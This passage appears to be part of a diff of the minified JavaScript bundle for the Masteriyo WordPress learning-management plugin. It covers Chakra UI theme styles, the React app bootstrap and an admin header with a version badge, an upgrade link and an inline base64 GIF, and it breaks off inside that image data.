\t\t\t\t#masteriyo h1, #masteriyo-onboarding, #masteriyo-account-page h1, \t\t\t\t#masteriyo h2, #masteriyo-onboarding, #masteriyo-account-page h2, \t\t\t\t#masteriyo h3, #masteriyo-onboarding, #masteriyo-account-page h3, \t\t\t\t#masteriyo h4, #masteriyo-onboarding, #masteriyo-account-page h4, \t\t\t\t#masteriyo h5, #masteriyo-onboarding, #masteriyo-account-page h5, \t\t\t\t#masteriyo h6, #masteriyo-onboarding, #masteriyo-account-page h6":{fontFamily:"'Inter', sans-serif"},".chakra-modal__content-container":{zIndex:"9999 !important"},".onboard-step-separator":{background:"gray.200 !important",width:"80px !important"},".toplevel_page_masteriyo":{bg:"gray.50",".masteriyo-onboarding-notice-link":{textDecoration:"underline",color:"primary.500",cursor:"pointer"}},"#masteriyo-interactive-course":{".masteriyo-player":{"iframe.vds-youtube[data-no-controls]":{height:"100% !important"}},"img.emoji":{display:"inline-block",width:"16px !important",height:"16px !important","vertical-align":"-0.1em","margin-right":"2px","margin-left":"2px"}},".chakra-popover__popper":{zIndex:"999 !important"},".react-datepicker-wrapper.chakra-datepicker-wrapper, .react-datepicker__input-container, .react-datepicker-wrapper":{display:"block !important",width:"100% !important",maxWidth:"100% !important",boxSizing:"border-box !important",minWidth:"0 !important"},".react-datepicker-wrapper.chakra-datepicker-wrapper input, .react-datepicker__input-container input":{display:"block !important",width:"100% !important",maxWidth:"100% !important",boxSizing:"border-box !important",minWidth:"0 !important"},".react-datepicker__input-container--open, .react-datepicker__input-container:focus-within":{display:"block !important",width:"100% !important"},".react-datepicker__input-container--open input, .react-datepicker__input-container:focus-within input":{width:"100% !important",boxSizing:"border-box !important"},".wp-admin #masteriyo":{ms:"-20px"},".admin-bar":{" .masteriyo-interactive-header":{top:"32px !important"}},".quiz-chakra-td":{paddingTop:"0 !important",paddingBottom:"0 !important"},".noscroll":{"&::-webkit-scrollbar":{display:"none"},scrollbarWidth:"none",scrollbarColor:"transparent transparent",msOverflowStyle:"none"},".custom-scrollbar":{"&::-webkit-scrollbar":{width:"12px"},"&::-webkit-scrollbar-track":{background:"#e0e0e0",borderRadius:"10px"},"&::-webkit-scrollbar-thumb":{background:"#b0b0b0",borderRadius:"10px",border:"3px solid #e0e0e0",transition:"background-color 0.3s, border-color 0.3s"},"&::-webkit-scrollbar-thumb:hover":{background:"#888",borderColor:"#ccc"},scrollbarWidth:"thin",scrollbarColor:"#b0b0b0 #e0e0e0","&::-moz-scrollbar":{width:"12px"},"&::-moz-scrollbar-track":{background:"#e0e0e0",borderRadius:"10px"},"&::-moz-scrollbar-thumb":{background:"#b0b0b0",borderRadius:"10px",border:"3px solid #e0e0e0"},"&::-moz-scrollbar-thumb:hover":{background:"#888",borderColor:"#ccc"},"-ms-overflow-style":"-ms-autohiding-scrollbar"},"#masteriyo, #masteriyo-onboarding, #masteriyo-interactive-course, #masteriyo-account-page, .masteriyo-alert-content, #chakra-modal-qnaDrawer, #chakra-modal-masteriyo-interactive-page-portal":{'input[type="color"], input[type="date"], input[type="datetime-local"], input[type="datetime"], input[type="email"], input[type="month"], input[type="number"], input[type="password"], input[type="search"], input[type="tel"], input[type="text"], input[type="time"], input[type="url"], input[type="week"], textarea, #rfs-btn, .react-datepicker-wrapper input, .react-datepicker__input-container input, .react-datepicker__input':Ex({},yx),".chakra-checkbox__label":{fontSize:"13px !important"},".chakra-select":Ex(Ex({},yx),{},{maxWidth:"full",color:"inherit",bg:"white"}),textarea:{paddingTop:"12px !important",paddingBottom:"12px !important"},ul:{li:{mb:0}},".chakra-tabs__tab[aria-selected=true]":{color:"primary.600"},".chakra-switch__track[data-checked],.chakra-radio__control[data-checked]":{bg:"primary.500"},".chakra-slider__filled-track,.css-1jrtelv":{bg:"primary.500"},".ProseMirror, .masteriyo-interactive-description":{"h1, h2, h3, h4, h5, h6":{lineHeight:"1.1",fontWeight:"700"},h1:{fontSize:"28px",my:"0.67em"},h2:{fontSize:"24px",my:"0.75em"},h3:{fontSize:"20px",my:"0.83em"},h4:{fontSize:"18px",my:"1.12em"},h5:{fontSize:"16px",my:"1.5em"},h6:{fontSize:"14px",my:"1.67em"},p:{mb:"1rem"},a:{textDecoration:"underline",color:"primary.500",cursor:"pointer"},blockquote:{ps:"1rem",borderStart:"2px solid rgba(13,13,13,.1)"},code:{bg:"gray.100",color:"gray.600",p:".1rem .3rem",borderRadius:"4px"},"ul, ol":{padding:"0 0.75rem"},ul:{listStyleType:"disc"},ol:{ps:"1.2rem"},pre:{background:"#0D0D0D",color:"#FFF",fontFamily:"JetBrainsMono, monospace",padding:"0.75rem 1rem",borderRadius:"0.5rem",code:{color:"inherit",padding:"0",background:"none",fontSize:"0.8rem"},".hljs-comment,.hljs-quote":{color:"gray.600"},".hljs-variable,.hljs-template-variable,.hljs-attribute,.hljs-tag,.hljs-name,.hljs-regexp,.hljs-link,.hljs-name,.hljs-selector-id,.hljs-selector-class":{color:"#F98181"},".hljs-number,.hljs-meta,.hljs-built_in,.hljs-builtin-name,.hljs-literal,.hljs-type,.hljs-params":{color:"#FBBC88"},".hljs-string,.hljs-symbol,.hljs-bullet":{color:"#B9F18D"},".hljs-title,.hljs-section":{color:"#FAF594"},".hljs-keyword,.hljs-selector-tag":{color:"#70CFF8"},".hljs-emphasis":{fontStyle:"italic"},".hljs-strong":{fontWeight:"700"}},".aligncenter":{clear:"both",textAlign:"center",marginLeft:"auto",marginRight:"auto"},".alignleft":{display:"inline",float:"left",marginRight:"1.5em"},".alignright":{display:"inline",float:"right",marginLeft:"1.5em"}},".responsiveTable":{width:"100%",th:{pb:"6",borderBottom:"none",textTransform:"uppercase",fontSize:"xs",textAlign:"left"},"tr:nth-of-type(2n+1) td":{bg:"#f8f9fa"},tr:{"th, td":{":first-of-type":{ps:"12"},":last-child":{pe:"12",textAlign:"right"}}},td:{py:"3",borderBottom:"none"}},".recent-reviews-analytics, .popular-courses-analytics, .new-students-analytics, .new-instructors-analytics":{fontSize:"16px"},".masteriyo-pagination-select":{padding:"0px 5px !important"},".responsiveTable td .tdBefore":{display:"none"},"@media screen and (max-width: 40em)":{".responsiveTable table":{display:"block"},".responsiveTable thead":{display:"block"},".responsiveTable tbody":{display:"block"},".responsiveTable th":{display:"block"},".responsiveTable td":{display:"block"},".responsiveTable tr":{display:"block"},".customTd tdBefore":{display:"none !important"},".responsiveTable thead tr":{position:"absolute",top:"-9999px",insetStart:"-9999px",borderBottom:"2px solid #333"},".responsiveTable td.pivoted":{border:"none !important",position:"relative",paddingInlineStart:"calc(50% + 10px) !important",textAlign:"start !important",whiteSpace:"pre-wrap",overflowWrap:"break-word",pe:"6"},".responsiveTable td .tdBefore":{position:"absolute",display:"block",insetStart:"6",width:"calc(50% - 20px)",whiteSpace:"pre-wrap",overflowWrap:"break-word",textAlign:"start !important",fontWeight:"600",fontSize:"sm"}},".react-datepicker-popper":{zIndex:"9996 !important"},".react-datepicker-wrapper,\n.react-datepicker__input-container":{display:"block"},".react-datepicker__header":{borderRadius:"0",background:"primary.100"},".react-datepicker__navigation":{top:"8px"},".react-datepicker,\n.react-datepicker__header,\n.react-datepicker__time-container":{borderColor:"#e2e8f0"},".react-datepicker__current-month,\n.react-datepicker-time__header,\n.react-datepicker-year-header":{fontSize:"inherit",fontWeight:600},".react-datepicker__time-container .react-datepicker__time .react-datepicker__time-box ul.react-datepicker__time-list li.react-datepicker__time-list-item":{margin:"0 1px 0 0",height:"auto",padding:"7px 10px","&:hover":{background:"#edf2f7"}},".react-datepicker__day:hover":{background:"#edf2f7"},".react-datepicker__day--selected,\n.react-datepicker__day--in-selecting-range,\n.react-datepicker__day--in-range,\n.react-datepicker__month-text--selected,\n.react-datepicker__month-text--in-selecting-range,\n.react-datepicker__month-text--in-range,\n.react-datepicker__time-container .react-datepicker__time .react-datepicker__time-box ul.react-datepicker__time-list li.react-datepicker__time-list-item--selected":{background:"#3182ce",fontWeight:"normal","&:hover":{background:"#2a69ac"}},".react-datepicker__triangle":{display:"none"},".quiz-question-name":{"& ol, & ul":{marginLeft:"25px"},"& ul":{listStyleType:"disc"}}},".chakra-collapse":{overflow:"visible !important"},".masteriyo-user-onboarding-wizard .business-type .chakra-stack.css-1nc7z9e, .sample-courses .chakra-stack.css-1nc7z9e":{paddingTop:"22px",textAlign:"center"},".parsed-quiz-question-name":{".wp-audio-shortcode":{"min-width":"300px !important"}},".account_page_table":{width:"100%",tableLayout:"fixed",borderCollapse:"unset !important",borderSpacing:0,border:"1px solid #E2E8F0",borderRadius:"8px",overflow:"hidden",backgroundColor:"white"},".account_page_table_head":{color:"#07092F",backgroundColor:"#F7F7F7",tr:{th:{textAlign:"start !important",verticalAlign:"bottom",padding:"20px !important",fontSize:"sm !important",fontWeight:"bold",textTransform:"none !important",borderBottom:"1px solid #1a0505ff !important"}}},".account_page_table_head_with_2_cols":{color:"#07092F",backgroundColor:"#F7F7F7 ",tr:{th:{verticalAlign:"bottom",padding:"20px !important",fontSize:"sm !important",fontWeight:"bold",textTransform:"none !important","&:first-child":{borderTopLeftRadius:"8px",paddingLeft:"20px !important"},"&:last-child":{textAlign:"right !important",borderTopRightRadius:"8px",paddingRight:"20px !important"}}}},".account_page_table_body":{tr:{"&:first-child":{td:{border:"none !important","&:first-child":{paddingLeft:"20px !important"},"&:last-child":{paddingRight:"20px !important"}}},td:{backgroundColor:"white !important",verticalAlign:"middle",padding:"20px !important",fontSize:"sm !important",color:"#07092F !important",fontWeight:"normal !important",lineHeight:1.4,borderTop:"1px solid #E6E6E6 !important","&:first-child":{paddingLeft:"20px !important"},"&:last-child":{paddingRight:"20px !important"}},"&:last-child":{td:{backgroundColor:"transparent !important"}}}},".account_page_table_footer":{bgColor:"off-white"}}},shadows:{box:"0px 0px 60px rgba(0, 0, 0, 0.08)",input:"0px 1px 0px #EFF0F6",button:"0px 4px 14px rgba(0, 0, 0, 0.13)",boxl:"0px 0px 60px rgba(0, 0, 0, 0.15)",header:"0px 2px 15px rgba(0, 0, 0, 0.04)",question:"0px 2px 15px rgba(0, 0, 0, 0.08)"},components:{Popover:{baseStyle:{popper:{width:"fit-content",maxWidth:"fit-content"}}},Button:{defaultProps:{colorScheme:"primary",variant:"solid"},baseStyle:{borderRadius:"base",fontWeight:500,fontSize:"14px !important",lineHeight:"20px",letterSpacing:"0%",textAlign:"center",px:"16px",py:"8px",gap:2,".chakra-button__icon":{mx:"0 !important"},_hover:{textDecoration:"none",_disabled:{bg:"inherit !important",color:"inherit !important",borderColor:"inherit !important",boxShadow:"none !important",cursor:"not-allowed"}}},sizes:{md:{fontSize:"xs"},sm:{fontSize:"xs"}},variants:{solid:e=>({px:"16px",py:"8px",gap:"8px",bg:"".concat(e.colorScheme||"primary",".500"),color:"white",shadow:"button",_hover:{bg:"".concat(e.colorScheme||"primary",".600"),color:"white",_disabled:{bg:"".concat(e.colorScheme||"primary",".500"),color:"white",cursor:"not-allowed",pointerEvents:"none",svg:{color:"white",fill:"white"}}},_active:{bg:"".concat(e.colorScheme||"primary",".700")}}),outline:e=>({px:"16px",py:"8px",gap:"8px",borderColor:"".concat(e.colorScheme||"primary",".500"),color:"".concat(e.colorScheme||"primary",".500"),iconSpacing:0,_hover:{bg:"".concat(e.colorScheme||"primary",".500"),color:"white",borderColor:"".concat(e.colorScheme||"primary",".500"),_disabled:{bg:"transparent",color:"".concat(e.colorScheme||"primary",".500"),borderColor:"".concat(e.colorScheme||"primary",".500")}},_active:{bg:"".concat(e.colorScheme||e.bg||"primary",".500"),color:"white",svg:{color:"white",fill:"white"}}}),ghost:e=>({px:"16px",py:"8px",gap:"8px",bg:"tertiary.500",_hover:{bg:"tertiary.600",_disabled:{bg:"tertiary.500"}}}),icon:{fontSize:"lg",minW:"auto",height:"auto",svg:{width:"1em",height:"1em"}},pagination:{bg:"primary.100",w:"8",h:"8",_hover:{bg:"primary.400"}}}},IconButton:{defaultProps:{colorScheme:"primary",variant:"solid"},baseStyle:{rounded:"base !important",px:"16px",py:"12px","&:only-child":{margin:"0 !important"}},variants:{solid:e=>({bg:"".concat(e.colorScheme||"primary",".500"),color:"white",_hover:{bg:"".concat(e.colorScheme||"primary",".600"),_disabled:{bg:"".concat(e.colorScheme||"primary",".500")}},_active:{color:"inherit"}}),outline:e=>({borderColor:"".concat(e.colorScheme||"primary",".500"),color:"".concat(e.colorScheme||"primary",".500"),_hover:{bg:"".concat(e.colorScheme||"primary",".500"),color:"white",borderColor:"".concat(e.colorScheme||"primary",".500"),_disabled:{bg:"transparent",color:"".concat(e.colorScheme||"primary",".500"),borderColor:"".concat(e.colorScheme||"primary",".500")}},_active:{color:"inherit"}}),ghost:e=>({bg:"tertiary.500",_hover:{bg:"tertiary.600",_disabled:{bg:"tertiary.500"}},_active:{color:"inherit"}})}},Input:{variants:{outline:{addon:{bg:"#f8f8f8",borderRadius:"base",fontSize:"md"}}},defaultProps:{_placeholder:{color:"red"}}},FormLabel:{baseStyle:{color:"var(--Gray-400, #383838)",fontSize:"14px",fontStyle:"normal",fontWeight:400,lineHeight:"24px",mb:"3"}},Select:{baseStyle:e=>({icon:{insetInlineStart:"rtl"===e.theme.direction?"0.5rem":"auto",insetInlineEnd:"ltr"===e.theme.direction?"0.5rem":"auto"}})},Text:{baseStyle:{margin:"0"}},Modal:{baseStyle:{overlay:{bg:"rgba(0,0,0,0.5)",zIndex:999},dialog:{zIndex:9999}},sizes:{fullSpacing:{dialog:{w:"100%",maxW:"800px",minH:"400px",maxH:"calc(100vh - 80px)"}}}},Radio:{sizes:{md:{label:{fontSize:"sm"}}}},Heading:{baseStyle:{m:"0"}},Tooltip:{baseStyle:{fontStyle:"normal",letterSpacing:"0",bg:"white !important",color:"#383838",lineHeight:5,boxShadow:"0px 6px 24px 0px rgba(10,10,10,0.1)","--popper-arrow-bg":"white",fontSize:"sm",borderRadius:"base",border:"1px solid",borderImageSlice:1,borderImageSource:"linear-gradient(180deg, rgba(235,235,235,0.1) 0%, #EBEBEB 79.93%)",py:2,px:4,fontWeight:"normal",zIndex:"9999","[data-popper-arrow]":{border:"none","--popper-arrow-bg":"white",boxShadow:"0px 6px 24px 0px rgba(10,10,10,0.1)",pointerEvents:"none",svg:{width:"16px",height:"8px",display:"block",overflow:"visible","path, polygon":{fill:"var(--popper-arrow-bg)",stroke:"#EBEBEB",strokeWidth:"1px",vectorEffect:"non-scaling-stroke",strokeLinejoin:"round"}}},_hover:{bg:"white !important",color:"#222222"}}}}});const fx=()=>{var e=new o.E({defaultOptions:{queries:{refetchOnWindowFocus:!1,refetchOnReconnect:!1,retry:!1}}});return(0,c.register)(Bm),l().createElement(i.s,{theme:vx},l().createElement(Pe,null,l().createElement(pt,{showSupport:"yes"==(null==R?void 0:R.isCurrentUserAdmin)},l().createElement(s.Ht,{client:e},l().createElement(m.E,{initialIsOpen:!1}),l().createElement(_,null,l().createElement(O,null,l().createElement(yt,null,l().createElement(gx,{initial:{selectedTemplate:null,items:[]}},l().createElement(mx,null)))))))))};r.createRoot(document.getElementById("masteriyo")).render(l().createElement(fx,null))},51609:e=>{e.exports=window.React},75795:e=>{e.exports=window.ReactDOM},10790:e=>{e.exports=window.ReactJSXRuntime},66087:e=>{e.exports=window.lodash},1455:e=>{e.exports=window.wp.apiFetch},94715:e=>{e.exports=window.wp.blockEditor},11744:e=>{e.exports=window.wp.blockLibrary},74997:e=>{e.exports=window.wp.blocks},56427:e=>{e.exports=window.wp.components},29491:e=>{e.exports=window.wp.compose},47143:e=>{e.exports=window.wp.data},64040:e=>{e.exports=window.wp.deprecated},28107:e=>{e.exports=window.wp.dom},43656:e=>{e.exports=window.wp.editor},86087:e=>{e.exports=window.wp.element},82005:e=>{e.exports=window.wp.formatLibrary},27723:e=>{e.exports=window.wp.i18n},20923:e=>{e.exports=window.wp.isShallowEqual},53031:e=>{e.exports=window.wp.keyboardShortcuts},48558:e=>{e.exports=window.wp.keycodes},92279:e=>{e.exports=window.wp.plugins},41233:e=>{e.exports=window.wp.preferences},5573:e=>{e.exports=window.wp.primitives},13053:e=>{e.exports=window.wp.privateApis},26873:e=>{e.exports=window.wp.viewport}},n={};function a(e){var l=n[e];if(void 0!==l)return l.exports;var r=n[e]={id:e,loaded:!1,exports:{}};return t[e].call(r.exports,r,r.exports,a),r.loaded=!0,r.exports}a.m=t,e=[],a.O=(t,n,l,r)=>{if(!n){var i=1/0;for(c=0;c<e.length;c++){for(var[n,l,r]=e[c],o=!0,s=0;s<n.length;s++)(!1&r||i>=r)&&Object.keys(a.O).every((e=>a.O[e](n[s])))?n.splice(s--,1):(o=!1,r<i&&(i=r));if(o){e.splice(c--,1);var m=l();void 0!==m&&(t=m)}}return t}r=r||0;for(var c=e.length;c>0&&e[c-1][2]>r;c--)e[c]=e[c-1];e[c]=[n,l,r]},a.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return a.d(t,{a:t}),t},a.d=(e,t)=>{for(var n in t)a.o(t,n)&&!a.o(e,n)&&Object.defineProperty(e,n,{enumerable:!0,get:t[n]})},a.e=()=>Promise.resolve(),a.g=function(){if("object"==typeof globalThis)return globalThis;try{return this||new Function("return this")()}catch(e){if("object"==typeof window)return window}}(),a.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),a.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},a.nmd=e=>(e.paths=[],e.children||(e.children=[]),e),a.j=933,(()=>{var e={933:0};a.O.j=t=>0===e[t];var t=(t,n)=>{var l,r,[i,o,s]=n,m=0;if(i.some((t=>0!==e[t]))){for(l in o)a.o(o,l)&&(a.m[l]=o[l]);if(s)var c=s(a)}for(t&&t(n);m<i.length;m++)r=i[m],a.o(e,r)&&e[r]&&e[r][0](),e[r]=0;return a.O(c)},n=self.webpackChunklearning_management_system=self.webpackChunklearning_management_system||[];n.forEach(t.bind(null,0)),n.push=t.bind(null,n.push.bind(n))})(),a.nc=void 0;var l=a.O(void 0,[520],(()=>a(28395)));l=a.O(l)})(); \ No newline at end of file +(0,E._x)("You are currently using Masteriyo %s","Plugin version notice","learning-management-system"),"v".concat(null!==(t=null==R?void 0:R.version)&&void 0!==t?t:""))},l().createElement(RA.vw,{variant:"outline",colorScheme:"primary",borderRadius:"xl",bgColor:"#F8FAFF",fontSize:"xs"},"v"+(null==R?void 0:R.version))),l().createElement(_e.o,{height:"18px"},l().createElement(Do.c,{orientation:"vertical"})),l().createElement(El,{url:"https://masteriyo.com/upgrade/?utm_source=wp-admin&utm_medium=courseoverview&utm_campaign=proupsell&utm_content=upgradetopro"}),l().createElement(p.$,{onClick:()=>i(!0),variant:"unstyled",borderRadius:"full",border:"2px",borderColor:"gray.200",w:"40px",h:"40px",position:"relative"},l().createElement($n.m,{label:(0,E.__)("Latest Updates","learning-management-system")},l().createElement(qe._,{src:"data:image/png;base64,R0lGODlhpAGkAfD/AP///zxThSH/C05FVFNDQVBFMi4wAwEAAAAh/wtYTVAgRGF0YVhNUDw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDkuMC1jMDAxIDc5LjE0ZWNiNDJmMmMsIDIwMjMvMDEvMTMtMTI6MjU6NDQgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCAyNC4yIChXaW5kb3dzKSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo4OTE2NkM4MzdFRUExMUVFQTU3OEQ1QzVCODg0NkY0NiIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo4OTE2NkM4NDdFRUExMUVFQTU3OEQ1QzVCODg0NkY0NiI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjg5MTY2QzgxN0VFQTExRUVBNTc4RDVDNUI4ODQ2RjQ2IiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjg5MTY2QzgyN0VFQTExRUVBNTc4RDVDNUI4ODQ2RjQ2Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+Af/+/fz7+vn49/b19PPy8fDv7u3s6+rp6Ofm5eTj4uHg397d3Nva2djX1tXU09LR0M/OzczLysnIx8bFxMPC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